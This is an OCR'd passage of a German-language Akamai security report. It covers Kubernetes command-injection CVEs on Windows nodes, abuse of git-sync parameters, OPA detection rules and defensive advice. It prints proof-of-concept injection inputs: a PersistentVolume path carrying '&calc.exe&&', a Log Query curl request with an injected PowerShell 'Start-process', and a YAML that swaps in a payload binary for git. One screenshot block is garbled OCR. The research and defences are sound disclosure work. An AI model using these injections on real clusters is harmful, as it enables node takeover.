Befehlsausfiihrung ausgewertet wird. Bei der Behebung dieses Problems fanden sie
auch zwei weitere ahnliche Parameterprifungen, denen CVE-2023-3955 und
CVE-2023-3893 zugewiesen wurden. Tomer Peled, Forscher von Akamai, wurde als
Mitwirkender flir diese CVEs anerkannt.

CVE-2023-5528

Wahrend es bei unserer letzten CVE um einen allgemeinen Unterparameter in allen
Kubernetes-Volumes ging, betrifft unser nachstes Problem nur einen bestimmten Volume-
Typ namens ,Local Volumes". Urspriinglich wurden Volumes erstellt, um dem Pod ein
Verzeichnis auf dem Host-Knoten zuzuordnen. Doch bei einem Neustart des Pods konnte
er einem anderen Knoten zugewiesen werden, wodurch die Daten im zugeordneten Ordner
verloren gingen. Um dieses Problem zu beheben, implementierte Kubernetes
PersistentVolumes, die sich an den Knoten erinnern, dem sie zugewiesen waren, um
sicherzustellen, dass der Pod nicht neu zugewiesen wird und seine Daten verloren gehen.

Die eigentliche Schwachstelle ist dem ziemlich ahnlich. Im vorherigen Fall wurde
geprtft, ob der angegebene Pfad eine symbolische Verknipfung ist. In diesem Fall wird
eine symbolische Verknlpfung zwischen dem Pfad auf dem Host und dem Dateisystem
des Pods erstellt. Das Problem besteht darin, dass die symbolische Verknipfung
erzeugt wird, indem cmd direkt mit dem unbereinigten Eingabeparameter ausgefihrt
wird. Das bedeutet, dass wir einfach unseren eigenen schadlichen Befehlin den
Pfadparameter injizieren und ihn ungehindert ausfiihren kénnen (Abbildung 25).

spec:

capacity:

storage: 106M
accessModes:
- ReaduWriteOnce
persistentvolumeReclaimPolicy: Retain
storageClassname: local-storage
local:

path: C:\&calc.exe&&\

Abb. 25: Einfligen eines schadlichen Befehls in die PersistentVolumes-Konfiguration
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Das fiihrt dazu, dass kubelet cmd.exe ausfiihrt und unseren Befehl beim Parsen unserer
YAML-Konfigurationsdatei ausfiihrt (Abbildung 26).

[Econnost exe (3824) Lomporat... N1 AUTHURILTA. . \4 /L \WINdOWS \SyStem 4£\connost exe Uka
(= i kubelet.exe (45524) NT AUTHORITY'... "C:\k‘kubelet exe” ~hostname-ovenide=win-6ukraason8 —node-p=192.168.134.212 —v=20 —resolv-conf="" —enable-debugging-handlers ~cluster-dns=10.96.0.10
5] > fomd exe (35496) 1 Corporat... NT AUTHORITY\.. emd /c mklink /D c:\war\lib\kubelet \pods\ 798fc H6-7ecc-4f6b-8b 12-4544 Tcadbdcc wolumesikubemetes io~ocal-volume \test-pv C:\8calc exed8\

= calc.exe (46312) Corporat... NT AUTHORITY\. . calc exe
2] win32calc.exe (46780) Corporat... NT AUTHORITY\... "C:\Windows'\System32\win3Zcalc exe”

Abb. 26: Ergebnis der Command Injection

Dieser Schwachstelle wurde CVE-2023-5528 zugewiesen. Kubernetes hat das Problem
gelost, indem es anstelle des unsicheren cmd-Befehls eine sichere Implementierung der
Verknlipfungserstellung in Go verwendet (der Programmiersprache, auf der Kubernetes
basiert).

Git-sync fiihrt zur Offenlegung von Geheimnissen

Die nachsten Probleme, die wir gefunden haben, traten nicht direkt in Kubernetes, sondernin
seinem Sidecar-Projekt git-sync auf. Das git-sync-Projekt ist dazu gedacht, einen Pod und ein
git-Repository zu verbinden, um Anderungen automatisch mit dem jeweiligen Standort/Server
zu synchronisieren, anstatt diese manuell tber eine Cl/CD-Losung vorzunehmen. Nutzer
konnen diese Funktion beispielsweise verwenden, um ihren nginx-Pod mit einem Repository zu
verknupfen, das die Dateien enthalt, die sie Uber einen nginx-Pod bereitstellen mochten.

Ein Blick auf die git-sync-Anwendungsseite zeigt, dass diese viele mogliche
Konfigurationsparameter unterstitzt, sodass Nutzer git-sync gemaf3 inren
Anforderungen anpassen konnen. Die beiden Parameter, die am starksten als potenzielle
Angriffsvektoren hervorstachen, waren GITSYNC_GIT und GITSYNC_PASSWORD.
Wir schlagen zwei Angriffsvektoren vor, um sie zu beleuchten.

wnloads/git-sync

(6Y1FnY3Kktc2FRAKZ1CUXMDVAUQnAXMOpIN3pr cXcifQ. eyJhdHQLOLsiaHROCHHELYr au:\§ms1d(;\(/z;;.rj(l51;1[:»;E:;jfé::v;se:»:x\)zé;::gzi
i ZX3u uYWIlc
OTIsInlzcy 161nhOcHBZ018va3ViZXUZXR LeySKZAZANXBLONZYYS SbHVZAGVy LV 2Fs Tt B 2N g AS

B, b 015Uz 1 INUL s IntpZC161LInTOVKEURISERLS N
wLXSwiZXhwI JoxNzM2Mz 1 zMzkyLCIpYXQLOSE 3HDQ30DC2 B i HE =
OKzHZh WO Ll CGSKI Jo7 InshbHULOR JodHRucy @32 hazGyazntaL6z2xu el 10 TERLETCTD T (Ll SHOkSORBS s ZLLGHTCHNDCANEHSH i Vot 3LVt O cnzpv 2yt

;;;;; JeALWFLYWMEZIVIZ] Inos
Sepftqoksndr3Zo-rR9wn_aUnwT4B17uuFVzpo_iUBfv_7nBHpU2E jng

gDSFycPzR6e1DCWOSXLrIUEGLZ:
WtOHNDC -OTBCqdxsDqo21Y10ztSknLuBKyMXHALijCt_KPzSarbolily v34Z-bTKe: A
079

GMPKWPT)JqcIX3JUL IwtuuRQEReYFOPRUZBSAGRT 0
14a_pnkv34 G mIT2xnY3R

i KhSzFh27 jOTHIHI

pload-pack HTTP/1.1
pre
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Unauffillige Codeausfiihrung

Ein Angreifer mit geringen Berechtigungen (Berechtigungen zum Erstellen) auf dem
Cluster oder im Namespace kann eine schadliche YAML-Datei anwenden, die einen
Pfad zu seiner Binardatei enthalt, wodurch diese Datei unter dem git-sync-Namen
ausgefihrt wird (Abbildung 27). Die Binardatei muss sich innerhalb des Pods befinden,
was auf verschiedene Weise erreicht werden kann, z. B. Giber Kubernetes-Probes,
-Volumes oder LOLBIns, die im git-sync-Pod vorhanden sind.

spec:
containers:
- name: git-sync
image: registry.k8s.io/git-sync/git-sync:va4.0.0
args:
- -v=5
volumeMounts:
- name: markdown
mountPath: /tmp/git
- name: test
mountPath: /tmp/payload
env:
- name: GITSYNC_REPO
value: https://github.com/XXXXX/YYYYY.git
- name: GITSYNC_GIT
value: /tmp/payload/payload

Abb. 27: VVorgeschlagener Angriffspfad

Hierbei handelt es sich nicht wirklich um eine Schwachstelle, da wir keine Befehle
injizieren. Wir sagen dem Pod einfach, dass er eine andere Binardatei fur git verwenden
soll, und veranlassen, dass er eine schadliche Payload ausfuihrt. Nach Anwenden der
YAML-Konfigurationsdatei wird ein Pod mit git-sync erstellt.

Der zusatzliche Vorteil von git-sync fur Angreifer besteht darin, dass die schadliche
Payload teilweise hinter dem git-sync-Namen und Pod verborgen ist und von
Verteidigungsteams eher Ubersehen wird. Das kann besonders bei Kryptojacking-
Angriffen nitzlich sein, bei denen Angreifer nur die Rechenressourcen bendtigen.

Datenextraktion

Der zweite Angriff umfasst den Parameter GITSYNC_PASSWORD_FILE. Git-sync-
Nutzer konnen diesen Parameter verwenden, um eine Authentifizierungsdatei flir den
Pod anzugeben, die dann bei der Anmeldung beim Repository verwendet wird.

Ein Angreifer mit hohen Berechtigungen zum Bearbeiten kann im Parameterwert auf
eine Datei auf dem Pod verweisen, die der Angreifer stehlen mochte, und kann
auBerdem den Speicherort des git-Repositorys andern. Bei der nachsten Bereitstellung
des git-sync-Prozesses innerhalb des Pods wird die Datei, die im Parameter GITSYNC_
PASSWORD_FILE angefordert wird, vom Pod an den Computer des Angreifers
gesendet. Es bestehen keine Einschrankungen fir die Dateipfade oder Berechtigungen
fur GITSYNC_PASSWORD_FILE.
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Wir haben dem Kubernetes-Team (das auch fiir git-sync verantwortlich ist) beide
Angriffsvektoren gemeldet, doch die Verantwortlichen sahen darin keine
Schwachstellen. Sie haben uns jedoch angehalten, unsere Ergebnisse mit der
Community zu teilen, was wir im Red Team Village auf der DEF CON 32 getan haben.

Probleme durch Protokollierung

Die letzte Schwachstelle, die wir gefunden haben, war CVE-2024-9042. Sie befindet
sich in einem neuen Protokollierungsmechanismus namens Log Query.

Log Query ist eine Beta-Funktion in Kubernetes’ groBerem Protokollierungsframework.
Mit dieser Funktion konnen Nutzer die CLI oder curl nutzen, um den Systemstatus von
Remotecomputern abzufragen. Beispiel: Ein Nutzer kann den folgenden Befehl
eingeben, um den Status des kubelet-Dienstes auf einem Remote-Knoten abzufragen:

kubectl get --raw "/api/v1/nodes/node-1.example/proxy/
logs/?query=kubelet”

Hinter den Kulissen werden die Abfragen (auf dem Remote-Knoten) mithilfe von
PowerShell-Befehlen erstellt. Das hat unsere Neugier darliber geweckt, ob sie auch
anfallig fir Command-Injection-Angriffe sind. Bei der Untersuchung der verschiedenen
Parameter, die Log Query empfangen kann, haben wir festgestellt, dass Kubernetes aus
friheren Problemen gelernt hat: So wird der Servicenamen-Parameter, der
wahrscheinlich am haufigsten verwendet wird, vor seiner Verwendung validiert.

Log Query unterstitzt jedoch Lookups nach Muster und nicht nur Uber einen expliziten
Servicenamen - und der Musterparameter wird weder bereinigt noch validiert. Daher
kann ein Angreifer eine Log Query APl erstellen, in der ein schadlicher PowerShell-Befehl
in das Musterfeld injiziert wird. Dieser wird dann auf dem Remote-Knoten ausgefihrt.

Curl "<Kubernetes API Proxy server IP>/api/v1/nodes/<NODE
name>/proxy/logs/?query=nssm&pattern='\$(Start-process cmd)

Die Schwachstelle ist jedoch nicht so einfach auszunutzen: Denn der abgefragte Service
muss nicht nur Uber die Beta-Funktion Log Query verfiigen, sondern muss auBerdem seine
Protokollierung an das Framework der Windows-Ereignisablaufverfolgung senden (nicht
an das standardmafige Protokollierungsframework klog). Dadurch werden die moglichen
Angriffsziele stark eingeschrankt - aber nicht beseitigt. Beispielsweise enthalt die beliebte
Netzwerkschnittstelle Calico den Non-Sucking Service Manager, der hierfur anfallig ist.
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Erkennung und Abwehr

Die beste und unmittelbarste Abwehr besteht naturlich darin, Ihre Kubernetes-Instanzen
auf die neueste Version zu patchen. Dennoch gibt es Erkennungslosungen und andere
Abwehrstrategien, um die Auswirkungen zu reduzieren, die eine erfolgreiche Ausnutzung
auf einen ungepatchten Cluster haben kann.

Esist entscheidend, eine Kubernetes-Umgebung mit einer umfassenden Sicherheitsrichtlinie
zu schiitzen, die mehrere Aspekte abdeckt. Dazu gehoren Pod Security Policies (PSPs), die
die Sicherheitsanforderungen flir den Betrieb eines Pods innerhalb eines Kubernetes-
Clusters beschreiben; Netzwerkrichtlinien, die steuern, wie Pods miteinander und mit
externen Services kommunizieren; sowie Laufzeitsicherheitsrichtlinien, die sich auf den
Schutz containerisierter Workloads wahrend der Ausfiihrung konzentrieren.

PSPs konzentrieren sich beispielsweise speziell auf die Kontrolle der
Berechtigungseskalation, die Ausfihrung von Containern mit Root-Berechtigungen, den
Zugriff auf das Host-Dateisystem sowie andere sicherheitsbezogene Einstellungen

(z. B. Kernel-Funktionen, Volume-Typen, Zugriff auf Host-Namespace). Darliber hinaus
kann die Verwendung des integrierten Geheimnisspeicher-Mechanismus von
Kubernetes dazu beitragen, Passworter, Zertifikate und API-SchlUssel effektiv zu
verwalten. Und Sie kdnnen automatisierte Warnungs- und Protokollierungssysteme
implementieren, um Sicherheitsvorfalle besser zu erkennen und darauf zu reagieren.

Rollenbasierte Zugriffskontrolle

Rollenbasierte Zugriffskontrolle ist eine Methode, die Nutzervorgange nach Identitat und
Rolle des Nutzers segmentiert. Beispielsweise kann jeder Nutzer Pods nur im eigenen
Namespace erstellen oder nur Informationen fur zulassige Namespaces anzeigen. Alle
oben beschriebenen Schwachstellen erfordern eine gewisse Berechtigungsebene
(hauptsachlich die Fahigkeit, Pods bereitzustellen). Indem Sie also Nutzer auf bestimmte
Namespaces beschranken, konnen Sie den Explosionsradius reduzieren: vom gesamten
Cluster auf diesen einen Namespace.

Threat Hunting

Da die meisten dieser Techniken Kubernetes-Knoten tbernehmen, sollten sie Anomalien

generieren. Indem Sie diese Maschinen genau im Auge behalten und eine Baseline fur

den Normalzustand pflegen, sollte es moglich sein, Post-Exploitation-Aktivitaten zu

erkennen. Mit der Unterstiitzung von Akamai Guardicore Segmentation for Kubernetes

und mithilfe von Akamai Hunt ist es moglich, neue Bedrohungen in den Griff zu kriegen. .

Beachten Sie, dass die hier vorgestellten Schwachstellen nur Windows-Knoten betreffen. Sey %v_ v
Wenn lhr Kubernetes-Cluster nicht tiber Windows-Knoten verflgt, besteht ein viel
geringeres Risiko. Es bleibt jedoch ein Restrisiko - schlieBlich sind wir nicht die einzigen
Sicherheitsforscher, die Schwachstellen finden).

Da das Problem auch im Quellcode liegt, bleibt diese Bedrohung aktiv, und die
Ausnutzung wird wahrscheinlich zunehmen. Aus diesem Grund empfehlen wir dringend,
Ihren Cluster zu patchen, um die klinftige Sicherheit zu gewahrleisten, auch wenn derzeit

keine Windows-Knoten vorhanden sind.
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Open Policy Agent

Open Policy Agent (OPA) ist ein Open-Source-Agent, mit dem Nutzer Daten Giber den
Traffic empfangen konnen, der an Knoten ein- und ausgeht, und richtlinienbasierte
Aktionen auf die empfangenen Daten anwenden konnen. Wir haben die folgenden
OPA-Regeln bereitgestellt, um mogliche Ausnutzungsversuche zu erkennen und zu
blockieren, basierend auf den anfalligen Parametern.

CVE-2023-3676

package kubernetes.admission

deny[msg] {
input.request.kind.kind == "Pod"
path := input.request.object.spec.containers.volumeMounts.subPath
not startswith(path, "$(")
msg := sprintf("malicious path: %v was found", [path])

CVE-2023-5528

package kubernetes.admission

deny[msg] {
input.request.kind.kind == "PersistentVolume"

path := input.request.object.spec.local.path
contains(path, "&")
msg := sprintf("malicious path: %v was found", [path])

Git-sync

package kubernetes.admission

deny[msg] {
input.request.kind.kind == "<Deployment/Pod>"
path := input.request.object.spec.env.name
contains(path, "GITSYNC_GIT")
msg := sprintf("Gitsync binary parameter detected, possible
payload alteration, verify new binary", [path])

}
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AbschlieBende Erkenntnisse

Diese Sammlung modernster Cybersicherheitsforschung beinhaltet die beste und neueste Roger Barranco
Arbeit von Hunderten von Akamai-Forschern und -Datenwissenschaftlern, die seit mehr
als zwei Jahrzehnten an der Spitze innovativer Cybersicherheit stehen. Ich hoffe, Sie haben
herausgefunden, wie unsere Forschung lhnen dabei helfen kann, praktische Strategien fiir
die Sicherheit Ihres Unternehmens zu entwickeln - flir 2025 und dariber hinaus.

Vice President of
Global Security
Operations, Akamai

Um dieses Ziel zu erreichen, haben wir im Folgenden einen vierstufigen Ansatz
zusammengefasst, der proaktive mit reaktiven MaBnahmen kombiniert. Dieser Ansatz
sowie eine Strategie, die die Forschungsergebnisse operationalisiert, bieten einen soliden
Schutz vor Bedrohungen.

Proaktive Schritte kombiniert mit reaktiver Abwehr

1. Implementieren Sie liberall grundlegende Cyberhygiene: RegelmaBige
Systemupdates, starke Zugriffskontrollen, umfassende Protokollierung und die
Einhaltung von Best Practices fur Sicherheit bilden die Grundlage einer jeder
soliden Sicherheitsstrategie. Diese grundlegenden Praktiken verhindern einen
erheblichen Teil potenzieller Angriffe, indem sie viele ,Einladungen® aus dem
Internet ohne zusatzlichen Aufwand effektiv ablehnen.

2. Schirmen Sie lhre Umgebung immer mit Sicherheitsplattformen ab: Sorgen Sie flir
grundlegende Cyberhygiene, indem Sie mehrere Sicherheitsebenen implementieren.
Installieren Sie Web Application Firewalls, API-SicherheitsmaBnahmen und DDoS-
Schutz (Distributed Denial of Service). Durch die konsequente Anwendung dieser
Sicherheitsebenen entsteht eine leistungsstarke und tiefgreifende
Sicherheitsstrategie, die einer Vielzahl von Cyberbedrohungen standhalt.

3. Konzentrieren Sie sich auf geschaftskritische Services: Identifizieren und
priorisieren Sie die Sicherheit Ihrer wichtigsten Assets: Das sind die Systeme und
Daten, die bei einer Gefahrdung lhren Betrieb, Ihren Ruf oder Ihr Geschaftsergebnis
erheblich beeintrachtigen konnten. Weisen Sie zusatzliche Ressourcen zu und
implementieren Sie erweiterte SicherheitsmaBnahmen flir diese kritischen Assets,
um sicherzustellen, dass sie den hochsten Schutz erhalten.

4. Bauen Sie ein zuverldssiges Vorfallsreaktionsteam auf oder suchen Sie sich einen
entsprechenden Partner: Die meisten Unternehmen sind irgendwann mit einem
umfangreichen Cybervorfall konfrontiert. Wenn - nicht falls - die Verteidigung
Uberwunden wird, kann ein standig verfligbares, zuverlassiges Team oder ein
Partner den entscheidenden Unterschied ausmachen. Seine schnellen
Reaktionsfunktionen helfen Inrem Unternehmen, den Angriff zu Giberstehen
und Systeme schnell wiederherzustellen, Schaden zu minimierenund "‘

*,
den normalen Betrieb schnell wiederaufzunehmen. . kY § ‘3 P\ S
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Diese ausgewogene Strategie in vier Schritten verbindet die Weisheit, unnotige Risiken zu
vermeiden, mit dem Pragmatismus, auf Unvermeidliches vorbereitet zu sein. Als Leiter des
Sicherheitsbetriebs mit jahrzehntelanger Erfahrung habe ich aus erster Hand erlebt, wie dieser
Ansatz Unternehmen dabei hilft, potenzielle Cyberkatastrophen zu vermeiden und
Sicherheitsverletzungen schnell zu beheben. Unternehmen, die diese vier Schritte umsetzen,
erreichen durchweg mehr Resilienz und Anpassungsfahigkeit gegentber Cyberbedrohungen.

Proaktive Verteidigung kombiniert mit der Einstellung auf
Angriffe

Wenn mich Leute nach Cybersicherheit fragen, ziehe ich oft eine ungewohnliche Quelle der
Weisheit zurate: den Komiker W.C. Fields. Er sagte einst: ,Ich muss nicht an jedem Streit
teilnehmen, zu dem ich eingeladen werde® - und diese unbeschwerte Denkweise kann auch
die Cybersicherheit verbessern. So wie wir uns entscheiden konnen, unproduktive Konflikte
zu vermeiden, konnen Unternehmen strategisch entscheiden, welche ,Einladungen®im
Internet abgelehnt werden.

In der digitalen Landschaft manifestieren sich diese Einladungen oft als potenzielle
Schwachstellen oder Angriffsvektoren. Durch die Implementierung grundlegender
Verfahren zur Cyberhygiene konnen Unternehmen viele der heutigen Cyberangriffe
umgehen, bevor sie Uberhaupt beginnen. Dieser proaktive Ansatz ermdglicht es
Unternehmen, einen erheblichen Teil der Cyberbedrohungen ,abzulehnen®, ohne dass viel
zusatzlicher Aufwand erforderlich ist.

Es gibt noch ein anderes Zitat, das ich gerne als Kontrapunkt verwende - ebenfalls von einer
ungewohnlichen Quelle: dem Boxer Mike Tyson. Tyson hat uns daran erinnert: ,Jeder hat einen
Plan, bis er einen Schlag ins Gesicht bekommt.“ Diese harte Realitat stellt einen interessanten
Kontrast zu Fields’ Ansatz dar. Im Bereich Cybersicherheit konnen beide Perspektiven Vorteile
bieten und es ist entscheidend, ein Gleichgewicht zwischen ihnen herzustellen.

Die Vier-Schritte-Strategie ist nicht nur bloBe Theorie, sondern wird in realen
Cyberkonflikten erprobt. Durch Umsetzung dieser MaBnahmen verbessern Unternehmen
ihre Cybersicherheit erheblich, indem sie sicherstellen, dass sie gut gertstet sind, um die
komplexe digitale Welt zu bewaltigen - und dass sie bereit sind, unndtige ,Einladungen
abzulehnen® und unvermeidliche ,Schlage® zu Uberstehen.

Die Studie in diesem SOTI-Bericht liefert die neuesten Erkenntnisse und Tools, um
Bedrohungen in der dynamischen Cybersicherheitslandschaft stets einen Schritt voraus zu
sein. Nutzen Sie diese Sammlung als Leitfaden fur den Aufbau einer resilienteren und
sichereren digitalen Zukunft.
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Forschungsteam

Liron Schiff
Principal Security Researcher, Akamai

Tomer Peled
Security Researcher, Akamai

«©y
Seit mehr als einem Jahrzehnt leitet Schiff (der auch Chief Fur seine tagliche Arbeit stellt Peled Nachforschungen an,
Scientist der Forschungsgruppe fiir KI-Sicherheit ist) F&E- die von der Schwachstellenforschung bis hin zu internen
Projekte in der Cybersicherheitsbranche sowie akademische Vorgdngen von Betriebssystemen reichen.

Forschung im Bereich Computernetzwerke. Seine Forschung
konzentriert sich auf die Programmierbarkeit, Resilienz und die

Sam Tinklenberg

Sicherheitsaspekte von Netzwerken. Senior Security Researcher, Akamai

Stiv Kupchik Tinklenberg ist Mitglied der Forschungsgruppe zu
ehemaliger Security Researcher Team

Lead Anwendungs- und API-Bedrohungen und hat einen
ea

Hintergrund in Penetrationstests von Webanwendungen.

Kupchiks Forschungsprojekte drehten sich um interne Eristleidenschaftlich daran interessiert, kritische

Betriebssysteme, Schwachstellenforschung und Malware-
Analyse. Er prasentierte seine Forschungen auf

Schwachstellen zu finden und davor zu schiitzen.

Konferenzen wie der Black Hat, Hexacon und 44CON. Ryan Barnett

Principal Security Researcher, Akamai

Ori David

Security Researcher Team Lead, Akamai Barnettist Mitglied des Threat Research Teams, das

Sicherheitslésungen flir App & API Protector untersttitzt.
Seine Forschung konzentriert sich auf offensive Sicherheit, Neben seiner primaren Tatigkeit bei Akamai ist Barnett
Malware-Analyse und Threat Hunting. auch Vorstandsmitglied von WASC und OWASP-
Projektleiter fir Web Hacking Incident Database (WHID)
und Distributed Web Honeypots.

Ben Barnea
Security Researcher, Akamai

Barneas Fachgebiet ist die Durchfiihrung von Sicherheits- und
Schwachstellenforschung tiber verschiedene Architekturen

wie Windows, Linux, loT und Mobilgerate hinweg. Barnea lernt

gerne, wie komplexe Mechanismen funktionieren und - was

viel wichtiger ist - warum sie ausfallen.
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Marketing und Veroffentlichung
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Akamai

,State of the Internet®-
Sicherheitsbericht

Lesen Sie vorherige Ausgaben und
informieren Sie sich Uber bevorstehende
Veroffentlichungen der renommierten
~State of the Internet“-Sicherheitsberichte
von Akamai. https://www.akamai.com/soti

Bedrohungsforschung bei Akamai

Halten Sie sich unter diesem Link zu
neuesten Threat-Intelligence-Analysen,
Sicherheitsberichten und Cybersicher-
heitsforschung auf dem Laufenden:
akamai.com/security-research

Greifen Sie auf Daten aus
diesem Bericht zu

Sehen Sie sich die hochauflosenden
Versionen der Diagramme und Grafiken an,
auf die in diesem Bericht verwiesen wird.
Diese Bilder konnen kostenlos verwendet und
referenziert werden, vorausgesetzt, Akamai
wird ordnungsgemaf als Quelle genannt und
das Akamai-Logo wird beibehalten.
akamai.com/sotidata

Akamai-Sicherheitsforschung

Lesen Sie den Blog zur Sicherheitsforschung
von Akamai, um eine schnelle

Einordnung der wichtigsten aktuellen
Forschungsergebnisse zu erhalten.
akamai.com/blog/security-research

Akamai schiitzt die Anwendungen, die lhr Unternehmen vorantreiben, an jedem Interaktionspunkt - ohne die Performance oder das

Kundenerlebnis zu beeintrachtigen. Unsere globale Plattform liefert Skalierbarkeit sowie transparente Einblicke in Bedrohungen. Gemeinsam mit

Ihnen kénnen wir auf diese Weise Bedrohungen erkennen und abwehren, damit Sie Markenvertrauen aufbauen und lhre Vision umsetzen kdnnen.

Mochten Sie mehr tiber die Cloud-Computing-, Sicherheits- und Bereitstellungslosungen von Akamai erfahren? Dann besuchen Sie uns unter
und oder folgen Sie Akamai Technologies auf X (ehemals Twitter) und . Veroffentlicht: 02/25.
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